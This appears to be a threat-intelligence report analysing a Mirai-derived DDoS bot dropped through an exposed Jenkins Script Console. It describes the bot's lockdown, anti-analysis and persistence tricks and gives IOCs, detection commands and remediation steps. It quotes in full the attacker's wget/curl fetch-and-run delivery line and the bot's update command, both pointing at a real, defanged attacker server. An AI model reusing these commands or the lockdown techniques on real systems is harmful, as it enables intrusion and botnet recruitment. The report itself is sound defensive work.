← All campaigns

The DDoS Zombie That Won't Let Go

A device we operate, presenting as a Jenkins build server, was broken into twice through its unauthenticated Script Console. Both times the operator dropped a Mirai-derived DDoS bot that locks the machine down first: it kills SSH/Telnet, zeroes permissions on every download tool, poisons /etc/hosts against AV vendors, kills analysis tools on launch, and wipes the logs — so the box stops behaving like one you own before it ever floods a target. Full kill chain, IOCs, and defensive checks inside.

MITRE ATT&CK techniques T1190T1059.004T1543.002T1562.004T1489T1562.001T1070.002T1070.003T1027T1622T1036.004T1571T1498

The DDoS Zombie That Won’t Let Go

State of the Attack · TLP:CLEAR · September 2026

Summary

A device we operate, presenting as a Jenkins build server, was broken into twice through its Script Console — the built-in admin feature that runs code on the server for anyone who can reach it. The same operator came back seven days later with a rebuilt version of the same malware.

It is a denial-of-service bot that turns the machine into a DDoS zombie — a host conscripted into a botnet that sits idle under someone else’s control until it is ordered to flood a target. The attack part is not novel; what’s novel is what the machine does first — it takes the host away from everyone else, including you, so it stays a zombie nobody can reclaim.

It kills the SSH and Telnet services and firewalls off every remote-access port. It sets wget, curl, scp, tftp and sixteen other download tools to permission 000 — on Linux that means nobody can read or run them, not even root, so nothing new can be pulled onto the box. It points twenty-one antivirus and malware-analysis domains at a dead address so the machine can’t reach them. It deletes the logs. And it installs itself as a system service that starts on boot and relaunches the instant you kill it: kill the process and it comes straight back.

For a defender the machine stops behaving like one you own. SSH does not answer. curl does not run. ps, netstat and tcpdump die as they start. It looks like a broken box, not a compromised one — and the logs that would tell you otherwise are gone.

The two are not the same file — the second is a full recompile, a different size with every internal address moved. But four things carried across unchanged, and that is what ties both to one operator: the same payload URL, the same hardcoded control address and port, the same handle stamped on the process, and an anti-analysis table that survived the recompile byte-for-byte. Everything else was rebuilt — the second build is a deliberate softening of the first, doing less damage and able to undo what it does.

Why it locks the machine down

This bot does not steal anything. There is no exfiltration, no data theft, no ransom. It is after the machine itself — its bandwidth and CPU, to throw at denial-of-service targets on command. The lockdown protects that asset two ways.

It keeps rivals off the box. It kills competing bots and cryptominers and closes the ports they would re-enter through, so no other crew takes the same machine. (The only place the word crypt appears anywhere in the binary is inside cryptonight — a mining algorithm, listed there so the bot can kill the miner and keep the CPU for itself.)

And it keeps you from taking the box back. Disabling SSH, killing your inspection tools, blinding the host to antivirus, wiping the logs — none of that helps a data thief, who wants in and out fast. It helps someone who wants to hold the machine and keep it flooding.

Normally Mirai bots shut down Telnet after landing so nobody else grabs the same device. This one goes much further — it also disables the tools you would use to notice it and remove it.

What “locker” means here

The malware writes files named .locker.pid, .locker.lock and .locker.ready and creates a firewall chain called LOCKER_INPUT. The name reads like ransomware, but it isn’t. There is no encryption code, no ransom note, no walk over user files, nothing renamed or locked — we looked for all of it, each check paired with a control to prove the search worked. .locker.lock is a plain lock file it uses to stop two copies running at once; .locker.pid holds its process number. LOCKER is just what the author called the bot.

The handle it stamps on the machine

The bot renames its own running process to t.me/flylegit — a Telegram handle — so it shows up that way in a process list. That is the only place the handle appears. It does not connect to Telegram, does not take commands from it, and sends nothing there; the control channel is a hardcoded IP address (see “Calling home”). The handle is a signature — the author tagging their work on every machine it runs. It also carries a taunt for anyone taking it apart, signed with the same handle, meant to print when a check for the /proc filesystem fails. That check is a clumsy stab at spotting an analysis environment: /proc exists on every running Linux system, so it never fails and the taunt never prints.

The handle resolves to a live public Telegram channel that distributes DDoS and botnet source code and bruteforce tooling — consistent with an author advertising their work. It is not a control channel; nothing the bot does touches Telegram.

Getting in

The Script Console runs Groovy — a scripting language — with the service account’s privileges. There is no exploit and no vulnerability: the console was reachable without a password, so reaching it was already code execution.

The delivery command, recorded exactly as sent:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
(wget -O x86_64 hxxp://83.168.69[.]95/x86_64 ||
 curl  -o x86_64 hxxp://83.168.69[.]95/x86_64 ||
 busybox wget -O x86_64 hxxp://83.168.69[.]95/x86_64) &&
chmod 777 x86_64 && ./x86_64; ./x86_64; ./x86_64; ./x86_64;
history -c

It tries five directories until one lets it write, so a locked-down /tmp does not stop it. It tries three download tools in turn — including BusyBox’s built-in wget, for stripped-down systems. Then it runs the binary four times in a row.

The first break-in didn’t have any of that — one download tool, one launch. The operator changed the command because the earlier one kept missing: on some machines the download tool wasn’t installed, on others the binary didn’t start. The spares and the repeated launches are them patching around both.

What lands

A 71 KB executable packed with UPX, a common legitimate packer; it unpacks to about 180 KB. It is written in C and statically linked against uClibc, the compact C library used on routers and embedded devices — the same build setup the Mirai botnet family uses. It borrows Mirai’s vocabulary too: attack methods named udpplain, syn, std, ack, ovh, and the same style of rival-kill list.

It is not Mirai. Mirai’s control protocol is binary; this one is plain text, and the self-defence layer below has no Mirai equivalent. Whoever wrote it knows the family well and built their own.

Locking the machine down

It disables remote access. It kills sshd, dropbear, ftpd, vncserver, xinetd and in.telnetd, then adds a firewall chain, LOCKER_INPUT, dropping inbound traffic on ports 21, 22, 23, 2222, 2323, 3389, 5800, 5801, 5900, 5901 and 5902 — SSH, Telnet, RDP and VNC.

It disables downloading. For nineteen paths — /bin/wget, /usr/bin/curl, tftp, ftp, scp, fetch, ftpget, axel, aria2c and their /usr/local/bin variants — it sets the file’s permissions to 000. On Linux that strips all read, write and execute rights for everyone including root: the tool is still on disk but completely inert. It records each original permission in /var/run/.disabled.list first, so it can restore them. With every download tool dead, nothing else can be fetched onto the box.

It blinds the host to security vendors. It appends twenty-one lines to /etc/hosts sending antivirus and sandbox domains — Avast, AVG, VirusTotal, Kaspersky, Bitdefender, Malwarebytes, any.run, Hybrid Analysis, Joe Sandbox, URLhaus, ThreatCrowd, AlienVault OTX — to 0.0.0.0, so the machine cannot reach them. This is not the bot checking whether it is in a sandbox and hiding; there is no such branch in it. It is stopping the victim’s machine from reaching help. It checks for duplicates first, so running it repeatedly leaves a clean file.

It kills your tools. A routine walks /proc and sends SIGKILL to any process named ps, top, htop, pstree, netstat, ss, lsof, tcpdump, tshark, iftop, nethogs, strace, ltrace, gdb, perf, sysdig, journalctl, dmesg or auditd, the moment they start.

It deletes the logs. /var/log/auth.log, syslog, messages, secure, wtmp, btmp, lastlog, faillog, dmesg, kern.log, and the journal and audit directories — deleted and recreated empty, not truncated. It also wipes .bash_history and .zsh_history for the current user and root.

The first build went one step further and froze the logging daemons outright — SIGSTOP to systemd-journald, auditd and rsyslogd, with a handler to thaw them on exit. The second build dropped this.

Staying hidden from analysis

Run strings on this binary and you get a misleading picture: the readable text is mundane and gives little away. The list of tools it actually hunts for is not stored as readable text at all — it is scrambled, so it never shows up in that output. We unscrambled it.

At a fixed offset sits a table of ten sixteen-byte entries, each byte combined with the value 0xE7. We reversed that and recovered the list it checks running processes against:

gdb  strace  ltrace  objdump  readelf  strings  radare2  iaito  ghidra  binwalk

The table is byte-for-byte identical in both builds — one of the anchors that ties them to the same author.

A background thread runs four more checks every ten seconds: it calls ptrace on itself so a debugger cannot attach; it reads TracerPid from /proc/self/status; it hashes its own executable memory with FNV-1a against a baseline; and it scans that memory for 0xCC, the byte a debugger writes to set a breakpoint. If any check fires, it kills itself and relaunches from /proc/self/exe — so an analyst who attaches a debugger sees the process vanish and reappear rather than crash. It also sets PR_SET_DUMPABLE and PR_SET_PTRACER to 0, sets the core-dump limit to 0, and writes -1000 to /proc/self/oom_score_adj so the kernel spares it under memory pressure.

Persistence — it puts itself back

It writes /etc/systemd/system/system-helper.service, a plausible-looking service named “System Helper” with Restart=always, then runs systemctl daemon-reload and systemctl enable. It deletes its own file from disk right after starting, so there is nothing obvious to find — but the service brings it back on every boot, and Restart=always brings it back the moment the process dies. Combined with the relaunch-from-memory routine above, killing it by hand does not remove it; it returns immediately. This is the piece that has to be pulled out by name before anything else you do sticks.

The running daemon renames itself kworker/0:0, mimicking a kernel worker thread. A genuine kworker is a child of kthreadd and never holds a network socket. So a process named kworker/0:0 with a live TCP connection is not a kernel thread at all — it is this bot wearing the name.

Cron is not used for persistence; it is destroyed. The first build kills the cron daemons and deletes root’s crontab and everything in /etc/cron.d. The second build kills the same daemons but moves those files to /var/run/.cron_backup and restores them if it shuts down cleanly.

The second build also appends the single line stealth to /etc/modules, the list of kernel modules Debian and Ubuntu load at boot. No such module is present in either sample. That line points at a component of this toolkit we have not seen, and it is worth searching for on its own.

Calling home

It calls a hardcoded address written straight into the binary — 83.168.69[.]95 on port 9482. No domain, no DNS lookup, no fallback, no encrypted config block. The same address and port in both builds. The address is a rented server in Warsaw, Poland (AS202520, SkyPass Solutions), and it is the same machine that served the binary in the first place — port 80 hands out the payload, port 9482 runs control.

On connect it reads MemTotal from /proc/meminfo, counts processors in /proc/cpuinfo, and sends one line of plain text:

x86_64 default 3936 2

That is architecture, a group tag, memory in megabytes, and processor count. The group tag defaults to default and is overridden by the first command-line argument — so that second field on the wire is the operator’s own label for the batch of machines.

Commands arrive as plain text, no encryption, no framing. ping gets pong x86_64. stop halts the current attack. !kill terminates the process group. Anything else is an attack order — method, target, port, duration — and this is the denial-of-service function: on command, the bot floods a target the operator names. The methods are udpplain, syn, std, pps, ack, raknet, ssh, http, tcpstomp, minecraft and ovh. If it cannot reach the C2 it waits eight seconds and retries, and gives up after 450 straight failures.

There is also an !update command. It builds and runs:

cd /tmp; wget -q hxxp://%s:%d/%s -O .b; chmod +x .b; ./.b &

(scheme defanged)

The three blanks default to the control address, port 80, and the string x86_64 — which rebuilds the exact URL that delivered the sample in the first place. The bot’s own update path points back at the server that dropped it, so delivery and control are the same infrastructure. That link comes from the code, not from two events lining up.

The flood traffic

When it runs an HTTP flood it builds every request from one fixed template. Its browser-identification strings are cut short: they end at AppleWebKit/537.36 or AppleWebKit/605.1.15 with nothing after. A real browser always continues — (KHTML, like Gecko) Chrome/... or Version/... Safari/.... Cutting the string short buys the attacker nothing — a complete one would blend in better, not worse — so this reads as an unfinished template rather than an attempt to hide, and it leaves a clean signature either way. That truncation, with the fixed Accept-Language: en-US,en;q=0.5 and Accept-Encoding: gzip, deflate headers, picks this traffic out of a flood without needing the source addresses. The paths it cycles are /index.html, /wp-admin, /api/v1, /images/, /css/style.css, /js/main.js, /about, /contact and /products.

Two builds, seven days apart

Both were served from the same URL. They are not the same file, and not a repack — the unpacked programs differ in size and content and every internal address moved. This is a recompile of changed source by the same author.

First build Second build
Freezes logging daemons Yes No
Cron configuration Deleted Backed up and restored
Firewall teardown Rules only Full teardown ruleset
Off-switch file No Yes
Hidden re-execution from memory Yes Removed
Reads /dev/input No Yes — but discards everything
Appends to /etc/modules No Yes

Every change points the same way: the second build does less damage and can undo what it does. That fits a booter — a denial-of-service-for-hire service, which earns only while its machines are up and flooding on demand. A bricked machine earns nothing, so making the infection reversible protects the earner.

One note on that table. The second build opens /dev/input/event0 and reads keyboard events in a loop — the shape of a keylogger. It throws them away. The buffer is never used, there is no key mapping, no output file, nothing is sent. As it stands it records nothing. We flag it because a process holding an input device open is worth finding, and because this looks like an early, unfinished version of a feature a later build could switch on.

Timeline

Dates are given at month level. “Day 1” and “day 8” are relative to the first capture.

When What
June 2026 First activity from this cluster against the device — reconnaissance of the Jenkins surface only
July–August 2026 Repeated Script Console access from more addresses on the same hosting, all fetching the same payload URL
September 2026, day 1 First build captured. Delivery command uses one download tool and one launch
September 2026, day 1 Payload retrieved and analysed offline. UPX-packed, 71,744 bytes
September 2026, day 7 Delivery command revised — three download-tool fallbacks added, binary launched four times
September 2026, day 8 Second build captured from the same URL. Different file, 71,124 bytes. Recompiled, not repacked
September 2026, day 8 Both builds unpacked and reverse-engineered; control address and port confirmed in disassembly

What defenders should look for

Highest value first. The first two are persistent configuration changes that survive the malware itself and are cheap to sweep across an estate.

A firewall chain named LOCKER_INPUT.

iptables -L LOCKER_INPUT -n 2>/dev/null && echo "COMPROMISED"

Antivirus vendors pointed at 0.0.0.0 in /etc/hosts.

grep -E '^0\.0\.0\.0\s+(www\.)?(virustotal|kaspersky|bitdefender|malwarebytes|avast|avg|any\.run|joesandbox|hybrid-analysis)' /etc/hosts

Download tools with permissions set to zero.

find /bin /usr/bin /usr/local/bin -maxdepth 1 \
  \( -name wget -o -name curl -o -name tftp -o -name scp -o -name aria2c \) \
  -perm 000 -ls

The service and its state files.

ls -l /etc/systemd/system/system-helper.service
ls -l /var/run/.locker.pid /var/run/.locker.lock /var/run/.locker.ready \
      /var/run/.disabled.list /var/run/.iptables.rules

A fake kernel worker. A process named kworker/0:0 whose parent is not kthreadd, or which holds a network socket:

ps -eo pid,ppid,comm | awk '$3 ~ /^kworker/ {print}'

A process named t.me/flylegit.

Second build only: /var/run/.cron_backup/, /var/run/.locker.disabled, the line stealth in /etc/modules, and a process holding a file handle on /dev/input/event*.

On the network: a connection to a fixed external address every eight seconds whose first packet is under 64 bytes of readable text beginning x86_64; the reply pong x86_64; and outbound HTTP with a browser string ending at AppleWebKit/ and nothing after.

Remediation

Because the bot disables the tools you would normally use, the order matters.

  1. Isolate at the network, not on the host. You may not be able to log in.
  2. Get console access — physical, IPMI, or hypervisor. SSH is off and firewalled.
  3. Remove the firewall chain first, or you keep locking yourself out: iptables -D INPUT -j LOCKER_INPUT; iptables -F LOCKER_INPUT; iptables -X LOCKER_INPUT
  4. Restore the download tools from /var/run/.disabled.list, which holds the original permissions as path mode pairs.
  5. Clean /etc/hosts of the 0.0.0.0 vendor entries.
  6. Disable and delete system-helper.service, then systemctl daemon-reload — it restarts on its own until you do.
  7. Check /etc/modules for a stealth line and remove it.
  8. Restore cron from /var/run/.cron_backup/ if present; otherwise rebuild it — the first build deleted it outright.
  9. Rebuild the host. The logs are gone, so you cannot establish what else happened. Treat every credential on the machine as exposed.

Recommendations

  1. Take the Jenkins Script Console off the internet. It is remote code execution by design for anyone who reaches it. Require authentication and put the instance behind a VPN or an address allowlist. This closes the door used by every group we have seen against this surface, not just this one.
  2. Hunt on configuration, not hashes. The operator rebuilt the binary inside seven days from the same URL, so a hash block lapses fast. The LOCKER_INPUT chain and the 0.0.0.0 antivirus entries in /etc/hosts are persistent, cheap to sweep for, and survive the malware being removed.
  3. Alert on a kworker process that holds a network socket. Real kernel worker threads never do. Low-noise, and it catches the whole class of process-name masquerading, not only this bot.
  4. Treat “the host has gone strange” as a compromise signal. A box where SSH stopped answering, curl no longer runs and ps exits immediately looks broken. Those three together are this bot’s lockdown, and the logs that would confirm it are already gone.
  5. Plan for out-of-band access. Recovery here needs console, IPMI or hypervisor access, because remote access is disabled and firewalled. If your estate has no path to a host that has lost SSH, this class of malware costs you far more time than it should.
  6. Search for the uncaptured component. The later build adds a stealth entry to /etc/modules with no matching module in the sample. If you find that line, you may have a piece of this toolkit we have not seen — and we would value hearing about it.

Indicators

Files

/var/run/.locker.pid
/var/run/.locker.lock
/var/run/.locker.ready
/var/run/.watchdog.pid
/var/run/.disabled.list
/var/run/.iptables.rules
/etc/systemd/system/system-helper.service
/var/run/.cron_backup/              (second build)
/var/run/.locker.disabled           (second build)

Host configuration

iptables chain:  LOCKER_INPUT
/etc/hosts:      21 appended 0.0.0.0 entries for AV and sandbox vendors
/etc/modules:    a line reading "stealth"  (second build)
process names:   kworker/0:0 (not a child of kthreadd) · t.me/flylegit

Network

C2 registration:  ASCII "x86_64 <group> <memMB> <cpus>", first packet, <64 bytes
C2 keepalive:     "ping" -> "pong x86_64"
Retry cadence:    8 seconds; gives up after 450 failures
Update fetch:     GET /<arch>  where arch is one of
                  x86_64 arm4 arm5 arm6 arm7 mips mipsel mpsl m68k sparc
HTTP flood:       User-Agent ending at AppleWebKit/537.36 or /605.1.15,
                  with no "(KHTML, like Gecko)" continuation

Infrastructure

Type Value Note
Command and control 83.168.69[.]95:9482 Hardcoded as a literal IPv4 address and fixed port in both builds. No domain, no lookup, no fallback
Staging server 83.168.69[.]95 Same host, port 80. Serves architecture-named binaries
Payload URL hxxp://83.168.69[.]95/x86_64 Both builds delivered from this one URL
Update endpoint hxxp://83.168.69[.]95:80/<arch> Default target of the !update command — reconstructed from the code, identical to the delivery URL
Actor handle t.me/flylegit Written to the process name and command line at runtime. Branding only — not a control channel

The control address and the staging server are the same machine on two ports. Blocking the address covers both, but record the ports separately: 9482 carries the plain-text control channel, 80 serves the binaries.

File hashes

Build As served (UPX-packed) Unpacked
First (day 1) 089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e 2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d
Second (day 8) 07e3766d57a29cede53c7adb97aec0736bc2fe7487f4ba0d3c4d769cc6b3269d 28b6f9e1fa9a31bdaf664e8a2ea09e36e0cb4f91cd2c3a2f0258f4bf08f74b3e

At capture, all four hashes were absent from every public source we checked — VirusTotal, MalwareBazaar, URLhaus, ThreatFox and OpenCTI — with the control confirming the lookups were live; this analysis was the first anyone had published on the sample. We have since submitted both as-served binaries to VirusTotal ourselves, after publishing this analysis, so AV and EDR vendors can build detections from them. Treat the packed hashes as short-lived regardless: the operator rebuilt within seven days from the same URL, so a hash-only block will lapse. The host-configuration indicators above are the durable ones.

Full indicator list ships in the accompanying CSV.

Closing

Getting in took nothing clever: an admin console left open, the same one plenty of other groups have used on this device to drop their own malware.

The effort is all in what comes after. Using only routine system administration — firewall rules, file permissions, the hosts file, a systemd service — the bot makes the machine unusable to its owner and keeps it for itself. Kill it and it restarts; try to look at it and your tools are killed; try to log in and you can’t. There is no rootkit and nothing exotic about how it does any of this. The second build shows the operator dialling it back — a machine bricked hard enough to fall offline can’t flood anyone, and that is the only thing it is for.

Indicators of Compromise

  • 83.168.69.95
  • 83.168.69.95:9482
  • 83.168.69.95:80
  • hxxp://83.168.69.95/x86_64
  • 089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e
  • 2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d
  • 07e3766d57a29cede53c7adb97aec0736bc2fe7487f4ba0d3c4d769cc6b3269d
  • 28b6f9e1fa9a31bdaf664e8a2ea09e36e0cb4f91cd2c3a2f0258f4bf08f74b3e
  • t.me/flylegit
  • LOCKER_INPUT
  • /etc/systemd/system/system-helper.service
  • /var/run/.locker.pid
  • /var/run/.locker.lock
  • /var/run/.locker.ready
  • /var/run/.watchdog.pid
  • /var/run/.disabled.list
  • /var/run/.iptables.rules
  • /var/run/.cron_backup/
  • /var/run/.locker.disabled
  • stealth
  • kworker/0:0
  • x86_64 <group> <mem> <cpus>
  • pong x86_64
  • AppleWebKit/537.36
  • AppleWebKit/605.1.15
  • 0.0.0.0 virustotal.com
  • 0.0.0.0 any.run
  • 0.0.0.0 joesandbox.com
  • 0.0.0.0 hybrid-analysis.com
  • 0.0.0.0 urlhaus.abuse.ch

Detection Rules & IOCs

No formal detection rule ships with this campaign. The durable indicators are host configuration changes that survive the malware being removed, not a signature file — the first two below are the highest-value, cheapest to sweep across an estate.

IOC CSV
flylegit-locker-ddos-bot-iocs.csv
DetectsAtomic indicators: C2 infrastructure, staging URLs, representative sample hashes

In plain terms

  • A firewall chain named LOCKER_INPUT: iptables -L LOCKER_INPUT -n
  • Antivirus vendors pointed at 0.0.0.0 in /etc/hosts
  • Download tools (wget, curl, tftp, scp, aria2c, and others) with permissions set to 000
  • The service and its state files: system-helper.service, .locker.pid/.lock/.ready, .disabled.list, .iptables.rules
  • A process named kworker/0:0 whose parent is not kthreadd, or which holds a network socket
  • A process named t.me/flylegit

Frequently asked

What is The DDoS Zombie That Won't Let Go?

A device we operate, presenting as a Jenkins build server, was broken into twice through its unauthenticated Script Console. Both times the operator dropped a Mirai-derived DDoS bot that locks the machine down first: it kills SSH/Telnet, zeroes permissions on every download tool, poisons /etc/hosts against AV vendors, kills analysis tools on launch, and wipes the logs — so the box stops behaving like one you own before it ever floods a target. Full kill chain, IOCs, and defensive checks inside.

What are the indicators of compromise (IOCs) for The DDoS Zombie That Won't Let Go?

Key indicators include 83.168.69.95, 83.168.69.95:9482, 83.168.69.95:80, hxxp://83.168.69.95/x86_64, 089001308fa15871b78ca49565e647a4d9aa08df6dc0ebfe64f0e44b35c4179e, 2c9522f08c1df3303c65b045644ed397b2900200fa4e0d30714f4c1653b7f36d, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.

How do I detect The DDoS Zombie That Won't Let Go?

The DDoS Zombie That Won't Let Go can be detected with IOC CSV — all downloadable on this page. No formal detection rule ships with this campaign. The durable indicators are host configuration changes that survive the malware being removed, not a signature file — the first two below are the highest-value, cheapest to sweep across an estate.

What MITRE ATT&CK techniques does The DDoS Zombie That Won't Let Go use?

The DDoS Zombie That Won't Let Go maps to T1190, T1059.004, T1543.002, T1562.004, T1489, T1562.001, T1070.002, T1070.003, T1027, T1622, T1036.004, T1571, T1498.

External references

These indicators are published to the threat-intelligence community. Verify or pull them from:

Browse by
Jenkins (Script Console)mirai-derived custom DDoS bot (C, static uClibc, UPX-packed)multi-directory, multi-tool delivery fallback (5 candidate directories, 3 download tools, 4x execution)download-tool permission-zeroing (chmod 000 across 19 paths, reversible via a saved permissions list)firewall-based remote-access denial (LOCKER_INPUT chain)AV/sandbox-domain hosts-file poisoning (21 entries to 0.0.0.0)analysis-tool SIGKILL on launchXOR-obfuscated (0xE7) anti-analysis process-block tableptrace/TracerPid/memory-hash/breakpoint-byte anti-debug with self-relaunchkworker process-name masqueraderival bot/miner evictioniterative recompilation (2 builds, 7 days apart, from the same URL)DDoS-for-hire botnet recruitment: conscripts the host as an on-demand flooding zombie, not data theft. The lockdown behavior exists to keep the machine exclusively under the operator's control.
jenkinsddos-botmirai-derivedbooter
Subscribe for new analysis Compare with another campaign